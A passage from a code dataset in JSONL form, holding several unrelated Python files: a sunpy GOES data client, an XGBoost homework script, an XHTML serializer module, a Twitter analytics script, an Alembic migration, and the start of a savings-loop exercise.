Time.strptime(datestamp, \"%y%m%d\")\n else:\n start = Time.strptime(datestamp, \"%Y%m%d\")\n\n almost_day = TimeDelta(1*u.day - 1*u.millisecond)\n times.append(TimeRange(start, start + almost_day))\n\n return times\n\n def _get_url_for_timerange(self, timerange, **kwargs):\n \"\"\"\n Returns a URL to the GOES data for the specified date.\n\n Parameters\n ----------\n timerange: sunpy.time.TimeRange\n time range for which data is to be downloaded.\n satellitenumber : int\n GOES satellite number (default = 15)\n data_type : str\n Data type to return for the particular GOES satellite. Supported\n types depend on the satellite number specified. (default = xrs_2s)\n \"\"\"\n # find out which satellite and datatype to query from the query times\n base_url = 'https://umbra.nascom.nasa.gov/goes/fits/'\n start_time = Time(timerange.start.strftime('%Y-%m-%d'))\n # make sure we are counting a day even if only a part of it is in the query range.\n day_range = TimeRange(timerange.start.strftime('%Y-%m-%d'),\n timerange.end.strftime('%Y-%m-%d'))\n total_days = int(day_range.days.value) + 1\n result = list()\n\n # Iterate over each day in the input timerange and generate a URL for\n # it.\n for day in range(total_days):\n # It is okay to convert to datetime here as the start_time is a date\n # hence we don't necesserily gain anything.\n # This is necessary because when adding a day to a Time, we may\n # end up with the same day if the day is a leap second day\n date = start_time.datetime + timedelta(days=day)\n regex = date.strftime('%Y') + \"/go{sat:02d}\"\n if (date < parse_time('1999/01/15')):\n regex += date.strftime('%y%m%d') + '.fits'\n else:\n regex += date.strftime('%Y%m%d') + '.fits'\n satellitenumber = kwargs.get('satellitenumber', self._get_goes_sat_num(date))\n url = base_url + regex.format(sat=satellitenumber)\n result.append(url)\n return result\n\n def _makeimap(self):\n \"\"\"\n Helper function used to hold information about source.\n \"\"\"\n self.map_['source'] = 'nasa'\n self.map_['instrument'] = 'goes'\n self.map_['physobs'] = 'irradiance'\n self.map_['provider'] = 'sdac'\n\n @classmethod\n def _can_handle_query(cls, *query):\n \"\"\"\n Answers whether client can service the query.\n\n Parameters\n ----------\n query : list of query objects\n\n Returns\n -------\n boolean\n answer as to whether client can service the query\n \"\"\"\n chkattr = ['Time', 'Instrument', 'SatelliteNumber']\n chklist = [x.__class__.__name__ in chkattr for x in query]\n for x in query:\n if x.__class__.__name__ == 'Instrument' and x.value.lower() in ('xrs', 'goes'):\n return all(chklist)\n return False\n","sub_path":"sunpy/net/dataretriever/sources/goes.py","file_name":"goes.py","file_ext":"py","file_size_in_byte":6506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"467897400","text":"\"\"\"\nName: Nguyen Duy Quang\nClass: K28\nMSSV: 21025014\n\nYou should understand your code\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport xgboost as xgb\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\n\nfeature_encoder = OneHotEncoder()\ntarget_encoder = LabelEncoder()\n\n\ndef train(X, y):\n encoded_features = feature_encoder.transform(X).toarray()\n encoded_target = target_encoder.transform(y.values.ravel())\n\n dtrain = xgb.DMatrix(encoded_features, label=encoded_target)\n param = {\n \"max_depth\": 2,\n \"eta\": 0.1,\n \"objective\": \"binary:logistic\",\n \"eval_metric\": \"logloss\",\n }\n num_round = 5\n bst = xgb.train(param, dtrain, num_round)\n\n return bst\n\n\ndef test(bst, X, y):\n encoded_features = feature_encoder.transform(X).toarray()\n encoded_target = target_encoder.transform(y.values.ravel())\n\n dtest = xgb.DMatrix(encoded_features, label=encoded_target)\n preds = bst.predict(dtest)\n preds[preds >= 0.5] = 1\n preds[preds < 0.5] = 0\n\n acc = accuracy_score(encoded_target, preds)\n return acc\n\n\nif __name__ == \"__main__\":\n features = [\"Outlook\", \"Temperature\", \"Humidity\", \"Wind\"]\n target = [\"PlayTennis\"]\n df = pd.read_csv(\"train.csv\")\n\n X = df[features]\n y = df[target]\n\n feature_encoder.fit(X)\n target_encoder.fit([\"No\", \"Yes\"])\n\n bst = train(X, y)\n\n df_test = pd.read_csv(\"test.csv\")\n X_test = df_test[features]\n y_test = df_test[target]\n\n acc = test(bst, X_test, y_test)\n print(acc)\n","sub_path":"homework_code1/gradient_boosting.py","file_name":"gradient_boosting.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"223236962","text":"from zoundry.base.util.text.textio import loadUnicodeContent\r\nfrom zoundry.base.util.text.texttransform import ZTextToXhtmlTransformer\r\nfrom zoundry.base.xhtml import xhtmlutil\r\nfrom zoundry.base.xhtml.xhtmldoc import XHTML_NSS_MAP\r\nfrom zoundry.base.xhtml.xhtmldoc import ZXhtmlDocument\r\nfrom zoundry.base.zdom import tidyutil\r\nfrom zoundry.base.zdom.dom import ZDom\r\nfrom zoundry.base.zdom.dom import ZElement\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# Interface for xhtml serializer\r\n# --------------------------------------------------------------------------------\r\nclass IZXhtmlSerializer:\r\n\r\n def serialize(self, node):\r\n u\"\"\"Returns serialized (string) given xhtml node. \"\"\" #$NON-NLS-1$\r\n # end serialize()\r\n\r\n# end IZXhtmlSerializer\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# Interface for xhtml de-serializer\r\n# --------------------------------------------------------------------------------\r\nclass IZXhtmlDeserializer:\r\n\r\n def getMessages(self):\r\n u\"\"\"Returns any error or warning message during de-serialization process.\"\"\" #$NON-NLS-1$\r\n # end getMessages()\r\n\r\n def deserialize(self):\r\n u\"\"\"Returns ZXhtmlDocument or None if failed.\"\"\" #$NON-NLS-1$\r\n # end deserialize()\r\n\r\n# end IZXhtmlDeserializer\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# Base class of the xhtml IZXhtmlSerializer.\r\n# --------------------------------------------------------------------------------\r\nclass ZXhtmlSerializerBase(IZXhtmlSerializer):\r\n\r\n def __init__(self):\r\n self.formatters = []\r\n self.transformers = []\r\n # end __init__()\r\n\r\n def addFormatter(self, formatter):\r\n u\"\"\"Add a IZXhtmlFormatter to preprocess/filter the xhtml node prior serialization\"\"\" #$NON-NLS-1$\r\n if formatter and formatter not in self.formatters:\r\n self.formatters.append(formatter)\r\n # end addFormatter()\r\n\r\n def addStringTransform(self, stringTransformer):\r\n u\"\"\"Add a IZTextTransformer further process/filter the serialized xhtml string.\"\"\" #$NON-NLS-1$\r\n if stringTransformer and not stringTransformer in self.transformers:\r\n self.transformers.append(stringTransformer)\r\n # end addStringTransform()\r\n\r\n def serialize(self, node):\r\n u\"\"\"Returns the serialized string representation of the given node\r\n The node is first run through the list of optional IZXhtmlFormatter filters, followed by\r\n serialization to the string domain. The serialized string is further filtered and processed\r\n by running it via the list of IZTextTransformer transforms.\r\n \"\"\" #$NON-NLS-1$\r\n # node = node.clone()\r\n self._processNode(node)\r\n xhtmlStr = self._internalSerialize(node)\r\n xhtmlStr = self._processString(xhtmlStr)\r\n return xhtmlStr\r\n # end serialize()\r\n\r\n def _internalSerialize(self, node):\r\n u\"\"\"Returns the serialized string without any processing.\"\"\" #$NON-NLS-1$\r\n # node.serialize or return (child::**).serialize()\r\n return node.serialize()\r\n # end _internalSerialize()\r\n\r\n def _processNode(self, node):\r\n u\"\"\"Applies the list of IZXhtmlFormatter against the node.\"\"\" #$NON-NLS-1$\r\n for formatter in self.formatters:\r\n formatter.format(node)\r\n # end _processNode()\r\n\r\n def _processString(self, data):\r\n u\"\"\"Applies the list of IZTextTransformer transforms against the data string.\"\"\" #$NON-NLS-1$\r\n for transformer in self.transformers:\r\n data = transformer.transform(data)\r\n return data\r\n # end _processString()\r\n\r\n# end ZXhtmlSerializerBase\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# Basic implemetantation of IZXhtmlSerializer.\r\n# --------------------------------------------------------------------------------\r\nclass ZXhtmlSerializer(ZXhtmlSerializerBase):\r\n\r\n def __init__(self):\r\n ZXhtmlSerializerBase.__init__(self)\r\n #FIXME (PJ) add text filters strip n/l, strip/replace nbsp;\r\n #FIXME (PJ) also provide option to return only child nodes.\r\n # end __init__()\r\n\r\n# end ZXhtmlSerializer\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# IZXhtmlSerializer for saving to files.\r\n# --------------------------------------------------------------------------------\r\nclass ZXhtmlFileSerializer(ZXhtmlSerializer):\r\n\r\n def __init__(self):\r\n ZXhtmlSerializer.__init__(self)\r\n #FIXME (PJ) add formatter( new PathResolverFormatter(filepath:uri), # set base uri )\r\n # end __init__()\r\n\r\n def save(self, node, filename):\r\n u\"\"\"Saves given node to a file.\"\"\" #$NON-NLS-1$\r\n xhtmlString = self.serialize(node)\r\n f = open(filename, u\"w\") #$NON-NLS-1$\r\n try:\r\n f.write(xhtmlString)\r\n finally:\r\n f.close()\r\n # end save()\r\n\r\n# end ZXhtmlFileSerializer\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# Basic implemetantation of IZXhtmlDeserializer.\r\n# --------------------------------------------------------------------------------\r\nclass ZXhtmlDeserializer(IZXhtmlDeserializer):\r\n\r\n def __init__(self, inputResource = None):\r\n u\"\"\"Initializes with the given xhtml content source in the inputResource.\"\"\" #$NON-NLS-1$\r\n self.inputResource = inputResource\r\n self.deserialized = False\r\n self.messages = []\r\n self.document = None\r\n # end __init__()\r\n\r\n def getMessages(self):\r\n u\"\"\"Returns list of any error or warning messages.\"\"\" #$NON-NLS-1$\r\n self._deserialize()\r\n return self.messages\r\n # end getMessages()\r\n\r\n def deserialize(self):\r\n u\"\"\"Returns deserialized ZXhtmlDocument or None if error.\"\"\" #$NON-NLS-1$\r\n self._deserialize()\r\n return ZXhtmlDocument(self.document)\r\n # end deserialize()\r\n\r\n def _getXhtmlStringContent(self, inputResource):\r\n u\"\"\"Converts the give inputResource (string, filename or url) into xhtml string content.\"\"\" #$NON-NLS-1$\r\n # default case - inputResource param is xhtml string content. Return as is.\r\n return inputResource\r\n # end _getXhtmlStringContent()\r\n\r\n def _deserialize(self):\r\n u\"\"\"Deserializes the inputResource and creates the zDom document.\"\"\" #$NON-NLS-1$\r\n if self.deserialized:\r\n return\r\n try:\r\n # get string given input resource\r\n xhtmlString = self._getXhtmlStringContent(self.inputResource)\r\n # load document from string.\r\n self._deserializeString(xhtmlString)\r\n finally:\r\n self.deserialized = True\r\n # end _deserialize()\r\n\r\n def _deserializeString(self, xhtmlString):\r\n u\"\"\"Deserializes the xhtmlString and creates zDom. Once the dom is loaded, _processDocument is then called.\"\"\" #$NON-NLS-1$\r\n if not xhtmlString:\r\n self.messages.append(u\"xhtml string content not available.\")#$NON-NLS-1$\r\n xhtmlString = u\" \" #$NON-NLS-1$\r\n\r\n xhtmlString = self._prepareForLoading(xhtmlString)\r\n if xhtmlString:\r\n xhtmlString = self._tidyHtml(xhtmlString)\r\n doc = self._loadDocument(xhtmlString)\r\n if doc is None:\r\n self.messages.append(u\"running html tidy (pass 2).\")#$NON-NLS-1$\r\n xhtmlString = self._tidyHtml(xhtmlString)\r\n doc = self._loadDocument(xhtmlString)\r\n if doc:\r\n self.document = self._processDocument(doc)\r\n else:\r\n self.messages.append(u\"Failed to load document from xhtml string content.\")#$NON-NLS-1$\r\n else:\r\n self.messages.append(u\"xhtml string content preparation failed.\")#$NON-NLS-1$\r\n # end _deserializeString()\r\n\r\n def _prepareForLoading(self, xhtmlString):\r\n u\"\"\"Prepares the raw xhtml string for loading into zDom.\"\"\" #$NON-NLS-1$\r\n xhtmlString = xhtmlString.lstrip()\r\n if xhtmlString.startswith(u\"\") + 1:] #$NON-NLS-1$\r\n\r\n xhtmlString = xhtmlString.replace(u' ', u' ') #$NON-NLS-1$ #$NON-NLS-2$\r\n (bOk, xhtmlString) = self._cleanupMsOffice(xhtmlString) #@UnusedVariable\r\n\r\n # if the string content does not have a then convert to xhtml and wrap it\r\n # with \r\n if not xhtmlutil.hasBody(xhtmlString):\r\n if not xhtmlutil.hasXhtmlMarkup(xhtmlString):\r\n self.messages.append(u\"Converting plain text to xhtml markup.\") #$NON-NLS-1$\r\n # convert plain text to xhtml\r\n transformer = ZTextToXhtmlTransformer()\r\n xhtmlString = transformer.transform(xhtmlString)\r\n xhtmlString = xhtmlutil.wrapHtmlBody(xhtmlString)\r\n self.messages.append(u\"Adding wrapper.\") #$NON-NLS-1$\r\n return xhtmlString\r\n # end _prepareForLoading()\r\n\r\n def _cleanupMsOffice(self, xhtmlString):\r\n bOk = True\r\n if xhtmlutil.hasMsOfficeMarkup(xhtmlString):\r\n self.messages.append(u\"Attempting to cleanup MS Office namespace markup.\") #$NON-NLS-1$\r\n try:\r\n xhtmlString = xhtmlutil.cleanUpMsOfficeMarkup(xhtmlString)\r\n except:\r\n bOk = False\r\n self.messages.append(u\"Failed cleaning up MS Office namespace markup.\") #$NON-NLS-1$\r\n return (bOk, xhtmlString)\r\n # end _cleanupMsOffice()\r\n\r\n def _tidyHtml(self, xhtmlString):\r\n xhtmlString = tidyutil.tidyHtml(xhtmlString, tidyutil.EDITING_OPTIONS)\r\n xhtmlString = xhtmlString.replace(u\"\"\"\"\"\", u\"\") #$NON-NLS-1$ #$NON-NLS-2$\r\n return xhtmlString.lstrip()\r\n # end _tidyHtml()\r\n\r\n def _loadDocument(self, xhtmlString):\r\n u\"\"\"Attempts to load zDom.\"\"\" #$NON-NLS-1$ \r\n dom = self._createDocument(xhtmlString, True)\r\n return dom\r\n #clean up msword, wrap html, tidy, text2html etc.\r\n #strip/replace nbsp;\r\n # end _loadDocument()\r\n\r\n def _createDocument(self, xhtmlString, throwOnError = False):\r\n u\"\"\"Creates and loads the given string into the zDom.\"\"\" #$NON-NLS-1$\r\n xhtmlString = xhtmlString.lstrip()\r\n if xhtmlString.startswith(u\"\") + 1:] #$NON-NLS-1$\r\n try:\r\n dom = ZDom()\r\n dom.setNamespaceMap(XHTML_NSS_MAP)\r\n dom.loadXML(xhtmlString)\r\n return dom\r\n except:\r\n if throwOnError:\r\n raise\r\n return None\r\n # end _createDocument()\r\n\r\n def _processDocument(self, document):\r\n u\"\"\"Entry point to further process/filter loaded document.\"\"\" #$NON-NLS-1$\r\n return document\r\n # end _processDocument()\r\n\r\n# end ZXhtmlDeserializer\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# IZXhtmlDeserializer implementation for deserializing from files.\r\n# --------------------------------------------------------------------------------\r\nclass ZXhtmlFileDeserializer(ZXhtmlDeserializer):\r\n\r\n def __init__(self, resourceUri):\r\n u\"\"\"Initializes with the given resourceUri which should be a valid filename.\"\"\" #$NON-NLS-1$\r\n self.resourceUri = resourceUri\r\n ZXhtmlDeserializer.__init__(self, resourceUri)\r\n # end __init__()\r\n\r\n def getResourceUri(self):\r\n u\"\"\"Returns the resource uri (filename or URL)\"\"\" #$NON-NLS-1$\r\n return self.resourceUri\r\n # end getResourceUri()\r\n\r\n def _getXhtmlStringContent(self, inputResource):\r\n u\"\"\"Loads and returns the string content from the given inputResource filename\"\"\" #$NON-NLS-1$\r\n # resourceUri is filename = load xhtml from file.\r\n xhtmlString = loadUnicodeContent(inputResource)\r\n return xhtmlString\r\n # end _getXhtmlStringContent()\r\n\r\n def _processDocument(self, document):\r\n # FIXME (PJ) fixImageFilepaths(getDocument()) - handle image and link relative path - convert to abs path , set base uri\r\n return document\r\n # end _processDocument()\r\n\r\n# end ZXhtmlFileDeserializer\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# IZXhtmlDeserializer implemetation for deserializing from URLs\r\n# --------------------------------------------------------------------------------\r\nclass ZXhtmlUriDeserializer(ZXhtmlFileDeserializer):\r\n\r\n def __init__(self, resourceUri):\r\n u\"\"\"Initializes with the given resourceUri which should be a valid filename.\"\"\" #$NON-NLS-1$\r\n self.resourceUri = resourceUri\r\n ZXhtmlFileDeserializer.__init__(self, resourceUri)\r\n # end __init__()\r\n\r\n def _getXhtmlStringContent(self, inputResource):\r\n # FIXME (PJ) resourceUri is url = load xhtml from url.\r\n return inputResource\r\n # end _getXhtmlStringContent()\r\n\r\n# end ZXhtmlUriDeserializer\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# IZXhtmlDeserializer implemetation for deserializing from a DOM Node\r\n# --------------------------------------------------------------------------------\r\nclass ZXhtmlDOMDeserializer(ZXhtmlDeserializer):\r\n \r\n def __init__(self, node):\r\n self.node = node\r\n \r\n ZXhtmlDeserializer.__init__(self, None)\r\n # end __init__()\r\n\r\n # Overrides to attempt to create an xhtml document from the Node.\r\n # If the Node is not an x:html element, then this will serialize\r\n # the node and revert to the basic String-based deserializer\r\n def deserialize(self):\r\n if isinstance(self.node, ZElement) and self.node.localName == u\"html\": #$NON-NLS-1$\r\n return ZXhtmlDocument(self.node)\r\n elif self.node is None:\r\n self.inputResource = u\"\" #$NON-NLS-1$\r\n else:\r\n self.inputResource = self.node.serialize()\r\n\r\n return ZXhtmlDeserializer.deserialize(self)\r\n # end deserialize()\r\n \r\n# end ZXhtmlDOMDeserializer\r\n\r\ndef loadXhtmlDocumentFromFile(filename):\r\n u\"\"\"loadXhtmlDocumentFromFile(file) -> ZXhtmlDocument\"\"\" #$NON-NLS-1$\r\n deserializer = ZXhtmlFileDeserializer(filename)\r\n return deserializer.deserialize()\r\n# end loadXhtmlDocumentFromFile()\r\n\r\ndef loadXhtmlDocumentFromString(htmlString):\r\n u\"\"\"loadXhtmlDocumentFromString(string) -> ZXhtmlDocument\"\"\" #$NON-NLS-1$\r\n deserializer = ZXhtmlDeserializer(htmlString)\r\n return deserializer.deserialize()\r\n# end loadXhtmlDocumentFromString()\r\n\r\ndef loadXhtmlDocumentFromDOM(domNode):\r\n u\"\"\"loadXhtmlDocumentFromDOM(zdom) -> ZXhtmlDocument\"\"\" #$NON-NLS-1$\r\n deserializer = ZXhtmlDOMDeserializer(domNode)\r\n return deserializer.deserialize()\r\n# end loadXhtmlDocumentFromDOM()\r\n\r\n","sub_path":"src/python/zoundry/base/xhtml/xhtmlio.py","file_name":"xhtmlio.py","file_ext":"py","file_size_in_byte":15076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"542760191","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 10 11:25:43 2018\r\nMIT License with Acknowledgement\r\n@author: Taufik Sutanto\r\nSimple Social Media Analytics ver 0.11.1\r\nhttps://taufiksutanto.blogspot.com/2018/01/easiest-social-media-analytics.html\r\n\"\"\"\r\nfrom pattern.web import Twitter, URL\r\nfrom nltk.tokenize import TweetTokenizer; Tokenizer = TweetTokenizer(reduce_len=True)\r\nfrom tqdm import tqdm\r\nfrom wordcloud import WordCloud\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom textblob import TextBlob\r\nfrom Sastrawi.StopWordRemover.StopWordRemoverFactory import StopWordRemoverFactory\r\nfrom Sastrawi.Stemmer.StemmerFactory import StemmerFactory\r\nfrom bs4 import BeautifulSoup as bs\r\nfrom sklearn.decomposition import LatentDirichletAllocation as LDA\r\nimport re, networkx as nx, matplotlib.pyplot as plt, operator, numpy as np,community\r\n\r\ndef crawl(topic, N=100, Nbatch = 25):\r\n t = Twitter() # language='en','id'\r\n M = N//Nbatch #integer\r\n i, Tweets, keepCrawling = None, [], True\r\n for j in tqdm(range(M)):\r\n if keepCrawling:\r\n for tweet in t.search(topic, start=i, count=Nbatch):\r\n try:\r\n Tweets.append(tweet)\r\n i = tweet.id\r\n except:\r\n print(\"Twitter Limit reached\")\r\n keepCrawling = False # Second Break (outer loop)\r\n break\r\n else:\r\n break\r\n print('Making sure we get the full tweets, please wait ...')\r\n for i, tweet in enumerate(tqdm(Tweets)):\r\n try:\r\n webPage = URL(tweet.url).download()\r\n soup = bs(webPage,'html.parser')\r\n full_tweet = soup.find_all('p',class_='TweetTextSize')[0] #modify this to get all replies\r\n full_tweet = bs(str(full_tweet),'html.parser').text\r\n Tweets[i]['fullTxt'] = full_tweet\r\n except:\r\n Tweets[i]['fullTxt'] = tweet.txt\r\n print('Done!... Total terdapat {0} tweet'.format(len(Tweets)))\r\n return Tweets \r\n\r\ndef strip_non_ascii(string,symbols):\r\n ''' Returns the string without non ASCII characters''' #isascii = lambda s: len(s) == len(s.encode())\r\n stripped = (c for c in string if 0 < ord(c) < 127 and c not in symbols)\r\n return ''.join(stripped)\r\n\r\ndef cleanTweets(Tweets):\r\n factory = StopWordRemoverFactory(); stopwords = set(factory.get_stop_words()+['rt','pic','com','yg','ga'])\r\n factory = StemmerFactory(); stemmer = factory.create_stemmer()\r\n for i,tweet in enumerate(tqdm(Tweets)):\r\n txt = tweet['fullTxt'] # if you want to ignore retweets ==> if not re.match(r'^RT.*', txt):\r\n txt = txt.lower() # Lowercase\r\n txt = re.sub(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+','',txt)# clean urls\r\n txt = Tokenizer.tokenize(txt)\r\n symbols = set(['@']) # Add more if you want\r\n txt = [strip_non_ascii(t,symbols) for t in txt] #remove all non ASCII characters\r\n txt = ' '.join([t for t in txt if len(t)>1])\r\n Tweets[i]['cleanTxt'] = txt # this is not a good Python practice, only for learning.\r\n txt = stemmer.stem(txt).split()\r\n Tweets[i]['nlp'] = ' '.join([t for t in txt if t not in stopwords]) \r\n return Tweets\r\n\r\ndef translate(txt,language='en'): # txt is a TextBlob object\r\n try:\r\n return txt.translate(to=language)\r\n except:\r\n return txt\r\n\r\ndef sentiment(Tweets): #need a clean tweets\r\n print(\"Calculating Sentiment and Subjectivity Score: ... \")\r\n T = [translate(TextBlob(tweet['cleanTxt'])) for tweet in tqdm(Tweets)]\r\n Sen = [tweet.sentiment.polarity for tweet in tqdm(T)]\r\n Sub = [float(tweet.sentiment.subjectivity) for tweet in tqdm(T)]\r\n Se, Su = [], []\r\n for score_se, score_su in zip(Sen,Sub):\r\n if score_se>0.1:\r\n Se.append('pos')\r\n elif score_se<-0.05: #I prefer this\r\n Se.append('neg')\r\n else:\r\n Se.append('net')\r\n if score_su>0.5:\r\n Su.append('Subjektif')\r\n else:\r\n Su.append('Objektif')\r\n label_se = ['Positif','Negatif', 'Netral']\r\n score_se = [len([True for t in Se if t=='pos']),len([True for t in Se if t=='neg']),len([True for t in Se if t=='net'])] \r\n label_su = ['Subjektif','Objektif']\r\n score_su = [len([True for t in Su if t=='Subjektif']),len([True for t in Su if t=='Objektif'])]\r\n PieChart(score_se,label_se); PieChart(score_su,label_su)\r\n Sen = [(s,t['fullTxt']) for s,t in zip(Sen,Tweets)]\r\n Sen.sort(key=lambda tup: tup[0])\r\n Sub = [(s,t['fullTxt']) for s,t in zip(Sub,Tweets)]\r\n Sub.sort(key=lambda tup: tup[0])\r\n return (Sen, Sub)\r\n\r\ndef printSA(SA, N = 2, emo = 'positif'):\r\n Sen, Sub = SA\r\n e = emo.lower().strip()\r\n if e=='positif' or e=='positive':\r\n tweets = Sen[-N:]\r\n elif e=='negatif' or e=='negative':\r\n tweets = Sen[:N]\r\n elif e=='netral' or e=='neutral':\r\n net = [(abs(score),t) for score,t in Sen if abs(score)<0.01]\r\n net.sort(key=lambda tup: tup[0])\r\n tweets = net[:N]\r\n elif e=='subjektif' or e=='subjective':\r\n tweets = Sub[-N:]\r\n elif e=='objektif' or e=='objective':\r\n tweets = Sub[:N]\r\n else:\r\n print('Wrong function input parameter = \"{0}\"'.format(emo)); tweets=[]\r\n print('\"{0}\" Tweets = '.format(emo))\r\n for t in tweets:\r\n print(t)\r\n\r\ndef wordClouds(Tweets):\r\n txt = [t['nlp'] for t in Tweets]; txt = ' '.join(txt)\r\n wc = WordCloud(background_color=\"white\")\r\n wordcloud = wc.generate(txt)\r\n plt.figure(num=1, facecolor='w', edgecolor='k')\r\n plt.imshow(wordcloud, cmap=plt.cm.jet, interpolation='nearest', aspect='auto'); plt.xticks(()); plt.yticks(())\r\n plt.show()\r\n\r\ndef PieChart(score,labels):\r\n fig1 = plt.figure(); fig1.add_subplot(111)\r\n plt.pie(score, labels=labels, autopct='%1.1f%%', startangle=140)\r\n plt.axis('equal');plt.show()\r\n return None\r\n\r\ndef drawGraph(G, Label = False):\r\n fig3 = plt.figure(); fig3.add_subplot(111)\r\n pos = nx.spring_layout(G)\r\n nx.draw_networkx_nodes(G,pos, alpha=0.2,node_color='blue',node_size=600)\r\n if Label:\r\n nx.draw_networkx_labels(G,pos)\r\n nx.draw_networkx_edges(G,pos,width=4); plt.show()\r\n\r\ndef Graph(Tweets, Label = True): # Need the Tweets Before cleaning\r\n print(\"Please wait, building Graph .... \")\r\n G=nx.Graph()\r\n for tweet in tqdm(Tweets):\r\n G.add_node(tweet.author)\r\n mentionS = re.findall(\"@([a-zA-Z0-9]{1,15})\", tweet['fullTxt'])\r\n for mention in mentionS:\r\n if \".\" not in mention: #skipping emails\r\n usr = mention.replace(\"@\",'').strip()\r\n G.add_node(usr); G.add_edge(tweet.author,usr)\r\n Nn=G.number_of_nodes();Ne=G.number_of_edges()\r\n print('Finished. There are %d nodes and %d edges in the Graph.' %(Nn,Ne))\r\n if Label:\r\n drawGraph(G, Label = True)\r\n else:\r\n drawGraph(G)\r\n return G\r\n\r\ndef Centrality(G, N=10):\r\n phi = 1.618033988749895 # largest eigenvalue of adj matrix\r\n ranking = nx.katz_centrality_numpy(G,1/phi)\r\n important_nodes = sorted(ranking.items(), key=operator.itemgetter(1))[::-1]#[0:Nimportant]\r\n Mstd = 1 # 1 standard Deviation CI\r\n data = np.array([n[1] for n in important_nodes])\r\n out = len(data[abs(data - np.mean(data)) > Mstd * np.std(data)]) # outlier within m stDev interval\r\n if out>N:\r\n dnodes = [n[0] for n in important_nodes[:N]]\r\n print('Influencial Users: {0}'.format(str(dnodes)))\r\n else:\r\n dnodes = [n[0] for n in important_nodes[:out]]\r\n print('Influencial Users: {0}'.format(str(important_nodes[:out]))) \r\n Gt = G.subgraph(dnodes)\r\n drawGraph(Gt, Label = True)\r\n return Gt\r\n\r\ndef Community(G):\r\n part = community.best_partition(G)\r\n values = [part.get(node) for node in G.nodes()]\r\n mod, k = community.modularity(part,G), len(set(part.values()))\r\n print(\"Number of Communities = %d\\nNetwork modularity = %.2f\" %(k,mod)) # https://en.wikipedia.org/wiki/Modularity_%28networks%29\r\n fig2 = plt.figure(); fig2.add_subplot(111)\r\n nx.draw_shell(G, cmap = plt.get_cmap('gist_ncar'), node_color = values, node_size=30, with_labels=False)\r\n plt.show\r\n return values\r\n\r\ndef print_Topics(model, feature_names, Top_Topics, n_top_words):\r\n for topic_idx, topic in enumerate(model.components_[:Top_Topics]):\r\n print(\"Topic #%d:\" %(topic_idx+1))\r\n print(\" \".join([feature_names[i]\r\n for i in topic.argsort()[:-n_top_words - 1:-1]]))\r\n\r\ndef getTopics(Tweets,n_topics=5, Top_Words=7):\r\n Txt = [t['nlp'] for t in Tweets] # cleaned: stopwords, stemming\r\n tf_vectorizer = CountVectorizer(strip_accents = 'unicode', token_pattern = r'\\b[a-zA-Z]{3,}\\b', max_df = 0.95, min_df = 2)\r\n dtm_tf = tf_vectorizer.fit_transform(Txt)\r\n tf_terms = tf_vectorizer.get_feature_names()\r\n lda_tf = LDA(n_components=n_topics, learning_method='online', random_state=0).fit(dtm_tf) \r\n vsm_topics = lda_tf.transform(dtm_tf); doc_topic = [a.argmax()+1 for a in tqdm(vsm_topics)] # topic of docs\r\n print('In total there are {0} major topics, distributed as follows'.format(len(set(doc_topic))))\r\n fig4 = plt.figure(); fig4.add_subplot(111)\r\n plt.hist(np.array(doc_topic), alpha=0.5); plt.show()\r\n print('Printing top {0} Topics, with top {1} Words:'.format(n_topics, Top_Words))\r\n print_Topics(lda_tf, tf_terms, n_topics, Top_Words)\r\n return lda_tf, dtm_tf, tf_vectorizer\r\n ","sub_path":"TSutantoSMA.py","file_name":"TSutantoSMA.py","file_ext":"py","file_size_in_byte":9525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"22608225","text":"\"\"\"empty message\n\nRevision ID: e37d6114ded4\nRevises: \nCreate Date: 2021-04-14 18:12:41.815518\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e37d6114ded4'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('devicematrix',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('devicetype', sa.String(), nullable=True),\n sa.Column('category', sa.String(), nullable=True),\n sa.Column('description', sa.String(), nullable=True),\n sa.Column('article', sa.String(), nullable=True),\n sa.Column('jws', sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('devicetype')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('devicematrix')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/e37d6114ded4_.py","file_name":"e37d6114ded4_.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"88811057","text":"# pobierz od uzytkownika ile ma pieniedzy w skarbonce\n# pobierz informacje ile doklada do skarbonki co miesiac\n# pobierz cene wakacji\n# stworz zmienna do przechowywania ilosci miesiecy\n# uzywajac petli while sprawdz po ilu miesiacach stac go bedize na wakacje\n\ncurrent_money = int(input(\"Ile masz teraz pieniedzy? \"))\nmonthly_saving = int(input(\"Ile odkladasz co miesiac? \"))\nholiday_price = int(input(\"Ile wynosi cena wakacji? \"))\nmonths = 0\n\nwhile current_money < holiday_price:\n current_money += monthly_saving\n months += 1\n\nprint(f\"Po {months} miesiacach oszczedzania 